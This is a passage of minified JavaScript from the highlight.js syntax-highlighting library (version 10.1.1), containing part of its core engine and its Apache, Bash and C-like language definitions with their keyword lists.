t=e.input[e.index-1],r=e.input[e.index+e[0].length];"."!==t&&"."!==r||n.ignoreMatch()}if(e.contains&&e.contains.includes("self"))throw Error("ERR: contains `self` is not supported at the top-level of a language. See documentation.");return function t(s,o){const l=s;if(s.compiled)return l;s.compiled=!0,s.__beforeBegin=null,s.keywords=s.keywords||s.beginKeywords;let c=null;if("object"==typeof s.keywords&&(c=s.keywords.$pattern,delete s.keywords.$pattern),s.keywords&&(s.keywords=function(e,n){var t={};return"string"==typeof e?r("keyword",e):Object.keys(e).forEach((function(n){r(n,e[n])})),t;function r(e,r){n&&(r=r.toLowerCase()),r.split(" ").forEach((function(n){var r=n.split("|");t[r[0]]=[e,w(r[0],r[1])]}))}}(s.keywords,e.case_insensitive)),s.lexemes&&c)throw Error("ERR: Prefer `keywords.$pattern` to `mode.lexemes`, BOTH are not allowed. (see mode reference) ");return l.keywordPatternRe=n(s.lexemes||c||/\w+/,!0),o&&(s.beginKeywords&&(s.begin="\\b("+s.beginKeywords.split(" ").join("|")+")(?=\\b|\\s)",s.__beforeBegin=i),s.begin||(s.begin=/\B|\b/),l.beginRe=n(s.begin),s.endSameAsBegin&&(s.end=s.begin),s.end||s.endsWithParent||(s.end=/\B|\b/),s.end&&(l.endRe=n(s.end)),l.terminator_end=d(s.end)||"",s.endsWithParent&&o.terminator_end&&(l.terminator_end+=(s.end?"|":"")+o.terminator_end)),s.illegal&&(l.illegalRe=n(s.illegal)),void 0===s.relevance&&(s.relevance=1),s.contains||(s.contains=[]),s.contains=[].concat(...s.contains.map((function(e){return function(e){return e.variants&&!e.cached_variants&&(e.cached_variants=e.variants.map((function(n){return r(e,{variants:null},n)}))),e.cached_variants?e.cached_variants:function e(n){return!!n&&(n.endsWithParent||e(n.starts))}(e)?r(e,{starts:e.starts?r(e.starts):null}):Object.isFrozen(e)?r(e):e}("self"===e?s:e)}))),s.contains.forEach((function(e){t(e,l)})),s.starts&&t(s.starts,o),l.matcher=function(e){const n=new a;return e.contains.forEach(e=>n.addRule(e.begin,{rule:e,type:"begin"})),e.terminator_end&&n.addRule(e.terminator_end,{type:"end"}),e.illegal&&n.addRule(e.illegal,{type:"illegal"}),n}(l),l}(e)}(E),N="",y=s||_,k={},O=new f.__emitter(f);!function(){for(var e=[],n=y;n!==E;n=n.parent)n.className&&e.unshift(n.className);e.forEach(e=>O.openNode(e))}();var A="",I=0,S=0,B=0,L=!1;try{for(y.matcher.considerAll();;){B++,L?L=!1:(y.matcher.lastIndex=S,y.matcher.considerAll());const e=y.matcher.exec(o);if(!e)break;const n=x(o.substring(S,e.index),e);S=e.index+n}return x(o.substr(S)),O.closeAllNodes(),O.finalize(),N=O.toHTML(),{relevance:I,value:N,language:e,illegal:!1,emitter:O,top:y}}catch(n){if(n.message&&n.message.includes("Illegal"))return{illegal:!0,illegalBy:{msg:n.message,context:o.slice(S-100,S+100),mode:n.mode},sofar:N,relevance:0,value:R(o),emitter:O};if(l)return{illegal:!1,relevance:0,value:R(o),emitter:O,language:e,top:y,errorRaised:n};throw n}}function v(e,n){n=n||f.languages||Object.keys(i);var t=function(e){const n={relevance:0,emitter:new f.__emitter(f),value:R(e),illegal:!1,top:h};return n.emitter.addText(e),n}(e),r=t;return n.filter(T).filter(I).forEach((function(n){var a=m(n,e,!1);a.language=n,a.relevance>r.relevance&&(r=a),a.relevance>t.relevance&&(r=t,t=a)})),r.language&&(t.second_best=r),t}function x(e){return f.tabReplace||f.useBR?e.replace(c,e=>"\n"===e?f.useBR?"
":e:f.tabReplace?e.replace(/\t/g,f.tabReplace):e):e}function E(e){let n=null;const t=function(e){var n=e.className+" ";n+=e.parentNode?e.parentNode.className:"";const t=f.languageDetectRe.exec(n);if(t){var r=T(t[1]);return r||(console.warn(g.replace("{}",t[1])),console.warn("Falling back to no-highlight mode for this block.",e)),r?t[1]:"no-highlight"}return n.split(/\s+/).find(e=>p(e)||T(e))}(e);if(p(t))return;S("before:highlightBlock",{block:e,language:t}),f.useBR?(n=document.createElement("div")).innerHTML=e.innerHTML.replace(/\n/g,"").replace(//g,"\n"):n=e;const r=n.textContent,a=t?b(t,r,!0):v(r),i=k(n);if(i.length){const e=document.createElement("div");e.innerHTML=a.value,a.value=O(i,k(e),r)}a.value=x(a.value),S("after:highlightBlock",{block:e,result:a}),e.innerHTML=a.value,e.className=function(e,n,t){var r=n?s[n]:t,a=[e.trim()];return e.match(/\bhljs\b/)||a.push("hljs"),e.includes(r)||a.push(r),a.join(" ").trim()}(e.className,t,a.language),e.result={language:a.language,re:a.relevance,relavance:a.relevance},a.second_best&&(e.second_best={language:a.second_best.language,re:a.second_best.relevance,relavance:a.second_best.relevance})}const N=()=>{if(!N.called){N.called=!0;var e=document.querySelectorAll("pre code");a.forEach.call(e,E)}};function T(e){return e=(e||"").toLowerCase(),i[e]||i[s[e]]}function A(e,{languageName:n}){"string"==typeof e&&(e=[e]),e.forEach(e=>{s[e]=n})}function I(e){var n=T(e);return n&&!n.disableAutodetect}function S(e,n){var t=e;o.forEach((function(e){e[t]&&e[t](n)}))}Object.assign(t,{highlight:b,highlightAuto:v,fixMarkup:x,highlightBlock:E,configure:function(e){f=y(f,e)},initHighlighting:N,initHighlightingOnLoad:function(){window.addEventListener("DOMContentLoaded",N,!1)},registerLanguage:function(e,n){var r=null;try{r=n(t)}catch(n){if(console.error("Language definition for '{}' could not be registered.".replace("{}",e)),!l)throw n;console.error(n),r=h}r.name||(r.name=e),i[e]=r,r.rawDefinition=n.bind(null,t),r.aliases&&A(r.aliases,{languageName:e})},listLanguages:function(){return Object.keys(i)},getLanguage:T,registerAliases:A,requireLanguage:function(e){var n=T(e);if(n)return n;throw Error("The '{}' language is required, but not loaded.".replace("{}",e))},autoDetection:I,inherit:y,addPlugin:function(e){o.push(e)}}),t.debugMode=function(){l=!1},t.safeMode=function(){l=!0},t.versionString="10.1.1";for(const n in _)"object"==typeof _[n]&&e(_[n]);return Object.assign(t,_),t}({})}();"object"==typeof exports&&"undefined"!=typeof module&&(module.exports=hljs); hljs.registerLanguage("apache",function(){"use strict";return function(e){var n={className:"number",begin:"\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?"};return{name:"Apache config",aliases:["apacheconf"],case_insensitive:!0,contains:[e.HASH_COMMENT_MODE,{className:"section",begin:"",contains:[n,{className:"number",begin:":\\d{1,5}"},e.inherit(e.QUOTE_STRING_MODE,{relevance:0})]},{className:"attribute",begin:/\w+/,relevance:0,keywords:{nomarkup:"order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername"},starts:{end:/$/,relevance:0,keywords:{literal:"on off all deny allow"},contains:[{className:"meta",begin:"\\s\\[",end:"\\]$"},{className:"variable",begin:"[\\$%]\\{",end:"\\}",contains:["self",{className:"number",begin:"[\\$%]\\d+"}]},n,{className:"number",begin:"\\d+"},e.QUOTE_STRING_MODE]}}],illegal:/\S/}}}()); hljs.registerLanguage("bash",function(){"use strict";return function(e){const s={};Object.assign(s,{className:"variable",variants:[{begin:/\$[\w\d#@][\w\d_]*/},{begin:/\$\{/,end:/\}/,contains:[{begin:/:-/,contains:[s]}]}]});const t={className:"subst",begin:/\$\(/,end:/\)/,contains:[e.BACKSLASH_ESCAPE]},n={className:"string",begin:/"/,end:/"/,contains:[e.BACKSLASH_ESCAPE,s,t]};t.contains.push(n);const a={begin:/\$\(\(/,end:/\)\)/,contains:[{begin:/\d+#[0-9a-f]+/,className:"number"},e.NUMBER_MODE,s]},i=e.SHEBANG({binary:"(fish|bash|zsh|sh|csh|ksh|tcsh|dash|scsh)",relevance:10}),c={className:"function",begin:/\w[\w\d_]*\s*\(\s*\)\s*\{/,returnBegin:!0,contains:[e.inherit(e.TITLE_MODE,{begin:/\w[\w\d_]*/})],relevance:0};return{name:"Bash",aliases:["sh","zsh"],keywords:{$pattern:/\b-?[a-z\._]+\b/,keyword:"if then else elif fi for while in do done case esac function",literal:"true false",built_in:"break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp",_:"-ne -eq -lt -gt -f -d -e -s -l -a"},contains:[i,e.SHEBANG(),c,a,e.HASH_COMMENT_MODE,n,{className:"",begin:/\\"/},{className:"string",begin:/'/,end:/'/},s]}}}()); hljs.registerLanguage("c-like",function(){"use strict";return function(e){function t(e){return"(?:"+e+")?"}var n="(decltype\\(auto\\)|"+t("[a-zA-Z_]\\w*::")+"[a-zA-Z_]\\w*"+t("<.*?>")+")",r={className:"keyword",begin:"\\b[a-z\\d_]*_t\\b"},a={className:"string",variants:[{begin:'(u8?|U|L)?"',end:'"',illegal:"\\n",contains:[e.BACKSLASH_ESCAPE]},{begin:"(u8?|U|L)?'(\\\\(x[0-9A-Fa-f]{2}|u[0-9A-Fa-f]{4,8}|[0-7]{3}|\\S)|.)",end:"'",illegal:"."},e.END_SAME_AS_BEGIN({begin:/(?:u8?|U|L)?R"([^()\\ ]{0,16})\(/,end:/\)([^()\\ ]{0,16})"/})]},i={className:"number",variants:[{begin:"\\b(0b[01']+)"},{begin:"(-?)\\b([\\d']+(\\.[\\d']*)?|\\.[\\d']+)(u|U|l|L|ul|UL|f|F|b|B)"},{begin:"(-?)(\\b0[xX][a-fA-F0-9']+|(\\b[\\d']+(\\.[\\d']*)?|\\.[\\d']+)([eE][-+]?[\\d']+)?)"}],relevance:0},s={className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"if else elif endif define undef warning error line pragma _Pragma ifdef ifndef include"},contains:[{begin:/\\\n/,relevance:0},e.inherit(a,{className:"meta-string"}),{className:"meta-string",begin:/<.*?>/,end:/$/,illegal:"\\n"},e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE]},o={className:"title",begin:t("[a-zA-Z_]\\w*::")+e.IDENT_RE,relevance:0},c=t("[a-zA-Z_]\\w*::")+e.IDENT_RE+"\\s*\\(",l={keyword:"int float while private char char8_t char16_t char32_t catch import module export virtual operator sizeof dynamic_cast|10 typedef const_cast|10 const for static_cast|10 union namespace unsigned long volatile static protected bool template mutable if public friend do goto auto void enum else break extern using asm case typeid wchar_t short reinterpret_cast|10 default double register explicit signed typename try this switch continue inline delete alignas alignof constexpr consteval constinit decltype concept co_await co_return co_yield requires noexcept static_assert thread_local restrict final override atomic_bool atomic_char atomic_schar atomic_uchar atomic_short atomic_ushort atomic_int atomic_uint atomic_long atomic_ulong atomic_llong atomic_ullong new throw return and and_eq bitand bitor compl not not_eq or or_eq xor xor_eq",built_in:"std string wstring cin cout cerr clog stdin stdout stderr stringstream istringstream ostringstream auto_ptr deque list queue stack vector map set pair bitset multiset multimap unordered_set unordered_map unordered_multiset unordered_multimap priority_queue make_pair array shared_ptr abort terminate abs acos asin atan2 atan calloc ceil cosh cos exit exp fabs floor fmod fprintf fputs free frexp fscanf future isalnum isalpha iscntrl isdigit isgraph islower isprint ispunct isspace isupper isxdigit tolower toupper labs ldexp log10 log malloc realloc memchr memcmp memcpy memset modf pow printf putchar puts scanf sinh sin snprintf sprintf sqrt sscanf strcat strchr strcmp strcpy strcspn strlen strncat strncmp strncpy strpbrk strrchr strspn strstr tanh tan vfprintf vprintf vsprintf endl initializer_list unique_ptr _Bool complex _Complex imaginary _Imaginary",literal:"true false nullptr NULL"},d=[r,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,i,a],_={variants:[{begin:/=/,end:/;/},{begin:/\(/,end:/\)/},{beginKeywords:"new throw return else",end:/;/}],keywords:l,contains:d.concat([{begin:/\(/,end:/\)/,keywords:l,contains:d.concat(["self"]),relevance:0}]),relevance:0},u={className:"function",begin:"("+n+"[\\*&\\s]+)+"+c,returnBegin:!0,end:/[{;=]/,excludeEnd:!0,keywords:l,illegal:/[^\w\s\*&:<>]/,contains:[{begin:"decltype\\(auto\\)",keywords:l,relevance:0},{begin:c,returnBegin:!0,contains:[o],relevance:0},{className:"params",begin:/\(/,end:/\)/,keywords:l,relevance:0,contains:[e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,i,r,{begin:/\(/,end:/\)/,keywords:l,relevance:0,contains:["self",e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,a,i,r]}]},r,e.C_LINE_COMMENT_MODE,e.C_BLOCK_COMMENT_MODE,s]};return{aliases:["c","cc","h","c++","h++","hpp","hh","hxx","cxx"],keywords:l,disableAutodetect:!0,illegal:"",keywords:l,contains:["self",r]},{begin:e.IDENT_RE+"::",keywords:l},{className:"class",beginKeywords:"class struct",end:/[{;:]/,contains:[{begin://,contains:["self"]},e.TITLE_MODE]}]),exports:{preprocessor:s,strings:a,keywords:l}}}}());